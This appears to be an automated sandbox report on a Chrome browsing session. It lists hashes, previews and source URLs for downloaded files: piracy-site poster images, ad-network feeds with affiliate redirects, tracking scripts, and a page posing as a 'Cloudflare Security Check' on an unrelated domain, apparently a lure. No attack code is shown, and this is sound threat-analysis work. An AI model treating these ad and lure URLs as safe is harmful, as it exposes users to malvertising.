                                                                        SHA-256:7616FDC08BDCC736AFE9D5CF0A2B0D7F44D2A6DB8BA9B807093BA5CD5AFE03EF
                                                                        SHA-512:CB291A2B2BE69BBFDB45D2A71973E004C7BC9EA8F7CD3BE241C0A0CD95C1905B275426F3DBBAC09BF528112A492FFEE1C4661CE203F2B30DBBD71B2D3A9B2CD2
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://acscdn.com/script/suv5.js
                                                                        Preview:!function(){var t={145:function(t,e,r){t.exports=r(6104)},7412:function(t,e,r){t.exports=r(6201)},9524:function(t,e,r){t.exports=r(899)},4071:function(t,e,r){t.exports=r(2066)},2608:function(t,e,r){t.exports=r(1491)},4369:function(t,e,r){t.exports=r(2590)},8001:function(t,e,r){t.exports=r(9640)},1879:function(t,e,r){t.exports=r(7010)},8333:function(t,e,r){t.exports=r(7186)},576:function(t,e,r){t.exports=r(7975)},414:function(t,e,r){t.exports=r(6002)},6013:function(t,e,r){t.exports=r(8512)},7513:function(t,e,r){t.exports=r(4978)},7286:function(t,e,r){t.exports=r(1478)},353:function(t,e,r){"use strict";r(3131),r(9819);var n=r(8088);t.exports=n.Array.from},2965:function(t,e,r){"use strict";r(4089),r(3070);var n=r(917);t.exports=n("Array","entries")},3638:function(t,e,r){"use strict";r(1948);var n=r(917);t.exports=n("Array","forEach")},7083:function(t,e,r){"use strict";r(4509);var n=r(917);t.exports=n("Array","indexOf")},3027:function(t,e,r){"use strict";r(8429);var n=r(917);t.exports=n("A
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "JPG edited with https://ezgif.com/optijpeg", baseline, precision 8, 165x220, components 3
                                                                        Category:dropped
                                                                        Size (bytes):10856
                                                                        Entropy (8bit):7.950166066626957
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:C2654367FEEB186C83350FF6707BE393
                                                                        SHA1:7BB47797A1444C5ED4BB3F6A32194B18E37DF816
                                                                        SHA-256:5739075108CC66A4953329BF55A90143FD520534546B9C714540EB2CAF62E731
                                                                        SHA-512:7352A1E5864C62FCC420D4C2E5BE3F0CA344C457A2D10203C202AAD1B1BD3EF3E0EE90DA7153567EFAECC5D1B12777F7B102C1FB78AA56BB829B8022EB452261
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:......JFIF.............,JPG edited with https://ezgif.com/optijpeg...C......................"....)$+*($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHE...C.......!..!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE...........".......................................C.........................!1A.."Qa.q...#2B..3R.....$Sb....r.C..T.................................,........................!.1A.Qq.".2a..#..............?......T...I.J.6..aKU..i.&.....f:Cq..18.X[T...Z..."..{./Y..h..z4.#.k.....)M..w....;.\..BB.rH....W.c.........\a.'>.T...G.....D/o='..u.&9..+...@.B-n-.qk...S.LJh$+~....O...!...^MA. !.'.'V.o.m..1...@.P........=..K..)&........>C.b.K.GW^p...)...we.&=v.<j....|.....hZI]...*.pn..[.k..d..j/....dY_R...>[_..T* Y........\....R.2..!9......'....].e.....E.*gP8..[...Oc,.![.S.k..S....=6.o.......$.5....X(.....3..ZJ.c..,n.I.....b,...O<.|)..-..]7N..VQ.xy.-.....A#M...h.7...hFK..#.....q....C....i.v*.3.j...O.{2..lF.eb......0..H.'(.{.....xk./...{Y.e...4.8.c;4.....s..#.n..q..
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JSON data
                                                                        Category:downloaded
                                                                        Size (bytes):815
                                                                        Entropy (8bit):6.007391146052247
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:BC5BFA60BF5BEE7A3F0FDA0B63948CDD
                                                                        SHA1:ED8C8CCE5BC1BEEFE3C833C1E1BEBD1C62B490E5
                                                                        SHA-256:D75D14F3B2760391A94CDEF682941C61201BEC99591DF2ECFFBE4849DE994CA0
                                                                        SHA-512:5FCB6ABB91980393C12D0A3E99F5EE46E41C7121C33016A9DBDA5D93F16D4BFFFABDDBFE5F6DD0F66E9A766826F73AFE8360477681ADA48B30069D8B34FAA610
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://feed.rtbadshubmy.com/v1/native/AFU1kAAPatM?subid=79150&uid=b84a25cf-aa9a-4036-add7-babd115e20d9&kw=download%20install&ud_tpcid=xZYqnV9ceaxEVkbIcyqP4c59GnmpYnlE
                                                                        Preview:{"items":[{"url":"https://t.rtbadshubmy.com/aclk?u=https%3a%2f%2fcap.affiliatrack.com%2fCOkkKY%2f%3futm_source%3d142776%26utm_campaign%3d17581170%26cid%3dZxYR9wUgb20AGdCGAA9q0wBVNZAAAAAA%26sid%3d79150%26s%3d0.009000&l2=UeZDuZu9dKtSDeWr7NUDBG-Rm_brfHaX3XZ5rbW_R-NhtNSsSen7Sa5Piz-33-xhZTSY_JD-IjFEsw2GpwqBj19ovKVmOFHKEZpwDW3J9qGFsYi7I6GuNJRH20L9xvt9BggGLMDDHqdmYhM2mv-umMNJ4GObCkFLVkjhiRg-OwdmYL2mikUioppCxMmZK4MnIxCKr6uq1ppZSwFshG73njwAio54q1EFhSA03WP3B-MHYSwoLkWi-ppt2ULNFzV6","eid":0,"bid":0.009,"pixels":["https://t.rtbadshubmy.com/imp?l2=UeZDuZu9dKtSDeWr7NUDBG-Rm_brfHaX3XZ5rbW_R-NhtNSsSen7Sa5Piz-33-xhZTSY_JD-IjFEsw2GpwqBj19ovKVmOFHKEZpwDW3J9qGFsYi7I6GuNJRH20L9xvt9BggGLMDDHqdmYhM2mv-umMNJ4GObCkFLVkjhiRg-OwdmYL2mikUioppCxMmZK4MnIxCKr6uq1ppZSwFshG73njwAio54q1EFhSA03WP3B-MHYSwoLkWi-ppt2ULNFzV6"],"id":1076425}]}
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:ASCII text, with no line terminators
                                                                        Category:downloaded
                                                                        Size (bytes):16
                                                                        Entropy (8bit):3.875
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:46DF3E5E2D15256CA16616EBFDA5427F
                                                                        SHA1:BE8F9B307E458075DA0D43585A05F1D451469182
                                                                        SHA-256:AF3248D0B278571EFF9A22F8ED1CEB54B70D202B44FD70ECA4CA13A5771CECC3
                                                                        SHA-512:88FBCC0A92317A0BADE7D4B72C023A16792F3728443075BF4B1767C8A55258836B54D56B24EABE36AE4EF240F796B58B8F1EA10C7E3C146BDE89882FC9ADE302
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmvSPOSuHFtWhIFDZFhlU4=?alt=proto
                                                                        Preview:CgkKBw2RYZVOGgA=
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "JPG edited with https://ezgif.com/optijpeg", baseline, precision 8, 165x220, components 3
                                                                        Category:dropped
                                                                        Size (bytes):11290
                                                                        Entropy (8bit):7.9506795239058
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:9C52F0F29DDA6CC787CB8080283203FF
                                                                        SHA1:95885CC926DB680C54C9C801D5C2F2C6F1F8468E
                                                                        SHA-256:66FC743B3AD3CB28A67E01D8A6AD485F9802A02453E620C8D422E81FC5A7FCCD
                                                                        SHA-512:614DECE83649460DA0CD28CAC79A6425BB047A15084907CA8E6F63AC0D0AF0A410C1A8495A8DD02DFD85DF484CE5C5A349F59C6239A54FE02BC9324097B105C2
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:......JFIF.............,JPG edited with https://ezgif.com/optijpeg...C.....................................#...!....).!$%'('..+.+&.#&'&...C...........&...&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&..........."........................................H.........................!.1.AQa"q...2...#BR.....$3Cb.........DScrs.................................-........................!1.A..Qa."2R..#.B..............?.....'..V].....g...@..e.....-..ZGN..N.(....HG...k.&..#....ey..7o...U4p..s...s.cn|...Yi.. ..(."f..9..m=U[.D>.R.*IB$?.}.cV..*..1.W.+`.4..N3..%.....O......+..cO...1...v.y.=..q.l.;}...m:..].R.2W.'n..4..5.CEu.^.z{o}xF.D...j....S.d.D......U......I#R...gwY..r.D...4.0...S,6.w+.......<...wE..j..p.~zSUV.A....x....QS_...7q\.W..}M..3.L..J.V*H..]........M.D......O->.{.k.s.K...d.-y.F*...0..%._...0{h....C.w...X&.,jB....YWc..R.7O5.....e..$.9....OG...T[.U.B.U.4.I......q...G...P....x.......`.E..WG..)..d.....uW...>.{..Mj....V..Z......)....c.u..+ *7..F.......{
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JSON data
                                                                        Category:dropped
                                                                        Size (bytes):49
                                                                        Entropy (8bit):4.946242752234321
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:4BC4929CD94DA80DE4E2EF3FE9A4A100
                                                                        SHA1:3D3892196715FE94970F014D752622D80312CAD2
                                                                        SHA-256:D937A8E77EC025DE1DA485DBBFCDFAADF6883ECD631CF277C664EF4A6CEF8683
                                                                        SHA-512:F901F4E28AC294332758160FD34283F1C8BD119884378965B8913896D46A6509A12FECF11B4FC21D94B48138C186F9876B168E3FB57DFBDB287F7B89DF0D0AAE
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:{"push_code": "NjY4ZwSkNAFfmDQ2b2AxNDY4MjE0NjH0"}
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JSON data
                                                                        Category:downloaded
                                                                        Size (bytes):810
                                                                        Entropy (8bit):6.025521755404294
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:EB174FC6856BE808766D4846A4B27E6E
                                                                        SHA1:6BADCF38C02EBFC95AA51435C517C7740F5E9B30
                                                                        SHA-256:645ED59515CC61BA5F2BAC518A1BD6E65F59947E7EEB3C6746D0CB1FCFACF1BB
                                                                        SHA-512:162DAA056EA1ACEDBC195A15E58139DFF7A9840BC92E1E40E563CAF289A816FEED58366D665E6E27F9B21DAFC6C1BEE1E325CE261EAF29D37DB834F476D0ADD2
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://feed.rtbadshubmy.com/v1/native/AFU1kAAPatM?subid=81969&uid=261cf6f8-cdcb-4f92-b85f-ca3e1d46b960&kw=download%20install&ud_tpcid=oI3Z-o6vkvVkfHAfcy9Ck9oSR0M3usvC
                                                                        Preview:{"items":[{"eid":0,"bid":0.001,"id":1075569,"url":"https://t.rtbadshubmy.com/aclk?u=https%3a%2f%2fplus.affflow.com%2fUsIvIV%2f%3futm_source%3d24828%26utm_campaign%3d16938100%26cid%3dZxYR5l0kMgcAGXZ4AA9q0wBVNZAAAAAA%26sid%3d81969%26s%3d0.001000&l2=qrkYmtwsMmQTyDeWACcCSxXQJjAZymdUPSJy5nrCbf6--qb4iSTbE3W6redrvOuPsRC7brtQGN76w7aR82LfMq2C28j4iiB_m6Zeoy-x2Ue2WfbCo3Gd2HKyTLmrex3nlhvvkXT100OIBx4c3fg_3c6YTX7WMujynha_zfG7F1QUjLIMKoQYsQqgzpWc2ebEeFKGCpaM4V7LDqmLVbn0Q2YI6kGobbKiUOGEB668CrtAIRgkhnw3CHSdCdzaZQ7Z","pixels":["https://t.rtbadshubmy.com/imp?l2=qrkYmtwsMmQTyDeWACcCSxXQJjAZymdUPSJy5nrCbf6--qb4iSTbE3W6redrvOuPsRC7brtQGN76w7aR82LfMq2C28j4iiB_m6Zeoy-x2Ue2WfbCo3Gd2HKyTLmrex3nlhvvkXT100OIBx4c3fg_3c6YTX7WMujynha_zfG7F1QUjLIMKoQYsQqgzpWc2ebEeFKGCpaM4V7LDqmLVbn0Q2YI6kGobbKiUOGEB668CrtAIRgkhnw3CHSdCdzaZQ7Z"]}]}
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:HTML document, ASCII text, with very long lines (26378)
                                                                        Category:downloaded
                                                                        Size (bytes):83563
                                                                        Entropy (8bit):6.138309871857922
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:D0958D704D4EA8A625A18126AA15C967
                                                                        SHA1:6590A29397B84BF179304AEAD9E6B153D4DC19F9
                                                                        SHA-256:C93DD077A1DDC6CF961B7225CAB7C7E70B0F753885C2A44AF41196505E1436A8
                                                                        SHA-512:C5C336B0BFE0FFDAEBF7319B157D5A8A672E4FEB672BE98462F2EA8DD8A55CEBF08F09C993BE283525BF777727BC621920AFCA57FB961782AB54D656C537F5D5
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://reloadsreviews.top/XUDfxjuxZ9drpIGAH7ZoIeLtrnNIQEq00hsXKpMlE30/?cid=ZxYR5l0kMgcAGXZ4AA9q0wBVNZAAAAAA&sid=81969&s=0.001000
                                                                        Preview:<!DOCTYPE html><html> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Cloudflare Security Check</title><link type="image/png" rel="icon" href=""><style>*{box-sizing:border-box}body{min-height:100vh}#snippet{position:fixed;z-index:-1;top:0;left:0}*{box-sizing:border-box}body{min-height:100vh;background-color:#1b1b1b;color:#c7dadc;font-family:sans-serif;display:flex;flex-direction:column;justify-content:center;align-items:center;height:100vh;margin:0}.container{max-width:600px;height:100vh;display:flex;flex-direction:column;justify-content:center}.container h1{font-size:1.8em}.container p{margin:10px 0}.verify{margin-top:20px}.info{margin-top:20px;border-left:#4a90e2 1px solid;padding-left:.5rem;font-size:small}.info p:nth-of-type(1){display:inline-block;padding:2px;border-radius:2px;padding-right:.5rem;border:1px solid white}.verify:hover{filter:brightness(1.5)}.input-container{padding:1rem;display:none}input{-webkit-appearance:none
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "JPG edited with https://ezgif.com/optijpeg", baseline, precision 8, 165x220, components 3
                                                                        Category:dropped
                                                                        Size (bytes):9550
                                                                        Entropy (8bit):7.948334825786873
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:4F5DC8ED11CC09B98437A51FB6F578BB
                                                                        SHA1:799F9A50B42D7C2E76F31D4635ECD42B056140BC
                                                                        SHA-256:4001CE493C1DAEB0CF38EF3C7409FC442BA0EFBB7DB63A02DE9AA0F1EE7BCE1C
                                                                        SHA-512:0009C7A3850B74D49A337BD365F678C8AB6508B5446F2B72A3F6D604E226A989E34C6A3D7050761C26504B73683D31F0B54F2982AA727077B7E34C49FF59C50E
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:......JFIF.............,JPG edited with https://ezgif.com/optijpeg...C......................%....,'..+'+*17F;14B4*+=S>BHJNON/;V\UL[FMNK...C.......$..$K2+2KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK...........".......................................=.........................!1A.Qa."q...#2....R..Bbr.$3......................................#......................!.1.A."Q.q2............?..I....Z84.:......I..n.D... B..n.Np>....2qF[....$.@...."|.Q....5V.1.]...:..Kp........)+..:....,...ZFB...R......_*.G...%.......'..g..0U\.Wr.9.:.H.T...R....A$RY.H..\.C..%.ns...R.;.{+...,.g.x..J+...........B,xlS.K.U...f.Y.X....]....6.>^\.g....-.,..C.'.'$...=z.7]..w..:.C.....`*@q.x.~]*.e..q....G.....X5.\2...Wh.w;0U^.d...*.....h#..H..n..$g.=.Z....yz.U.?@j%=.....D..r.HTA.c.~.{..QA;,BW...L.Bz`....1.E...6....T~.H_p|..<o..)GV....H.U.aH....rtQ...B.".z..|.....n.e.....r.!......n......\..:...y..Y..1..<..S.....8 ..F8............D...B.w.. s.G..WCq.~.z.*...x....."3..0.V0..#.+....g.).3J.G...
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:ASCII text, with very long lines (5945)
                                                                        Category:downloaded
                                                                        Size (bytes):292025
                                                                        Entropy (8bit):5.572328785688042
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:2C27094F84B57FD3DF457512701F3F62
                                                                        SHA1:D12950CEB4B58EE53F9815197B36A3C525E76724
                                                                        SHA-256:CB9D80917289410AE2BF88AE6039EB678B4A29231A050E839A86BCBE9B90ACE6
                                                                        SHA-512:6F85973D77277FE7CAE1CEF5D252387C94366CB928F2AD39D6ED84ABD4427416D0B9DCCA6BE5E9705120D01D25398D8D41D2653F1EE4417C7298115EF96D42B7
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://www.googletagmanager.com/gtag/js?id=G-9T1ZVCVZ6M
                                                                        Preview:.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_1p_data_v2","priority":9,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_emailValue":"","vtp_firstNameValue":"","vtp_streetValue":"","vtp_lastNameType":"CSS_SELECTOR","vtp_aut
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "JPG edited with https://ezgif.com/optijpeg", baseline, precision 8, 165x220, components 3
                                                                        Category:downloaded
                                                                        Size (bytes):10686
                                                                        Entropy (8bit):7.951467541015309
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:0D86CBE56E97C2CA6AB9F16FDB003259
                                                                        SHA1:F7AE835E1A159698B0084D4E04A7AF01B835AED7
                                                                        SHA-256:EDB7B3195DDBCBA3154E038A9682C91678A7B695DA3F5A1ED6210E5AE7CCEFCA
                                                                        SHA-512:A2B1A31FCB7C07B6DCE8889731C177ADE3E6CDA5CDC9FA559313A466ABA3851D127DFF9899A650CE02FC9DF2B3880CC6C42E8F42DED273FB1E74183095E8BDB3
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://www.5movierulz.mom/uploads/Half-Stories-Tamil.jpg
                                                                        Preview:......JFIF.............,JPG edited with https://ezgif.com/optijpeg...C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."........................................C.........................!.1A."Qaq..2..#B.....R..3br..$%....4CS.s...............................*......................!.1.A."2Qa#B..................?........*.ZZ...E..w=..,...}.e._:..@.....c.$..o...LX.&d.KW._x4M..6..[.......+3y...+U.90".b......sn....t.K.....>p$...<..>..5...\{rM....')..x.......h.0v.:.m.2{.<.....;.Lz9.0.f../....ev,....s..8....2B......lO,c.t..i..d....=q.N....y.[....W/.o.u...nC.w........=m.@&.J.;.E...'......e..+..#iEE.\.s...].+.-..V........vgCQ&S...@.1.........Uu4M+.Z.}R&.}G5....I...*7..d..4..G...T.52.R3^..._..%...J.*....(...xV6.gpB.lA...o.q.`..].*/.jH.9$..z2C.ob9.0..+.eG..Y.>.U. ..a.-..-.C..f..3,1...,..V.gp..\].QbN...v..J.......Z9$.....B.......n1..w...kjh..*Z..Ddb..bv......aa.%dU......b...S
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "JPG edited with https://ezgif.com/optijpeg", baseline, precision 8, 165x220, components 3
                                                                        Category:downloaded
                                                                        Size (bytes):10576
                                                                        Entropy (8bit):7.952954466664276
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:A31B44B8A097A46C2A8E4980060A3197
                                                                        SHA1:73488AABBBDB5D6DA114A6B15DB8B6289E2F39D3
                                                                        SHA-256:628DD1B048AA417C42C3BDE26CA520AFC1B7E7D2890270F6C02EAB645C59DCB9
                                                                        SHA-512:6F97C85D74ACA3331D6BF8A14ACA8917FC20E358165E6F3479CBEA9075804D5910CCE18BD927C0D43017B14260493215E77FEBBF12F7AA3AD5DA0109CF133B13
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        URL:https://www.5movierulz.mom/uploads/Mathu-Vadalara-2-Telugu.jpg
                                                                        Preview:......JFIF.............,JPG edited with https://ezgif.com/optijpeg...C...........................$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."........................................A.........................!1A.."Qaq.2..#....B....R$Cb..3cr.4..................................%.....................!..1A.Q.a."2q.............?.E.I,..<e.Ik. .'..?LKUC=".TcV..+=..x...y...wy~h.s.T"...w.v ....L4..wO.e..B.,q6. .c..*......m....$........P.+Lo..U....6\M.X.F....N.!..If.@.$....@d..l.....$.P.$rT...B......=.-d..V....Py...?#.$ .*..v...)j.F.a..Q..$....`...[|...|.6...HI.......Rv..d....8c....xe,F....6.6..q,..r.8..c.....MV......!.+...o...y...8#..B.lF.D/f}R..bu......K....-.XZ....u]......Q.C......A.V.5..b..[...oO......wnH.N...M.>|an^.kO.....}..:....a....%..i,l......#.f...h...b.o.@..:..];.;.pt...%.O.\\.e]...&.).v....:0...;...k...2.i".:..GNn..m!..X..k...2.*..3...~.c{......nw..._....S3...-.ib...v...q....\..3HhL.
                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "JPG edited with https://ezgif.com/optijpeg", baseline, precision 8, 165x220, components 3
                                                                        Category:dropped
                                                                        Size (bytes):10574
                                                                        Entropy (8bit):7.959245229348187
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:46639ABB1EDF384B927969C6EEE62D05
                                                                        SHA1:8DFC0DA7A79AE83F7BA0F737A077A08A14F1C2BC
                                                                        SHA-256:0989A8E8A221BBF9F30C41D1C4ADCDFF52C2FFAD4DCD6149CA4B4F30F798F105
                                                                        SHA-512:F2013FF6414F72B384D38243FE09428CD1474450AF294A82D3E205BFFEB42CFD8D3552AFB11A867ECF74B54AA52476EFFFBBFEC77273B656870C89508504C856
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:......JFIF.............,JPG edited with https://ezgif.com/optijpeg...C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222...........".......................................M........................!..1."AQa.2q...#BR....3...$%457brt...&6CDT....Ss.........................................................!1..AQa"2....qBR.................?..7.4v....F0.......+^.s5.3..".S..G........%.20S.V...#..G.........7.v.W...;.j..J.).%J.(.T.R.%S.y.1....E..;..;m..v..k.....h0_.a.6..$d..8..|1.*|)..T.R.%J.(.T.s.,L...0.Vn..m.U..(.j..y..,...o.{4..e..h...4..uj.z....}.xw...k`..6.........^>5O..\.m.J.-..(9....# ...n....._.U.dV#...*W.H..u9..1R.p#...T...S..8..C.uT..8...p>....=X.....m'T.q.. .|U..........).$..=...S......k.E......r....BG+.......9.7&.:._..R..............{5.....z.._h......\...2..FnEl.#.w....J.E.M.0.%k.6..N.w...q..VVU.v.X...Nl.{......qLW.O..\.`..m.KeN7.l...,......u.[.C..vH....`.:..*V[...,..Z{}?
                                                                        No static file info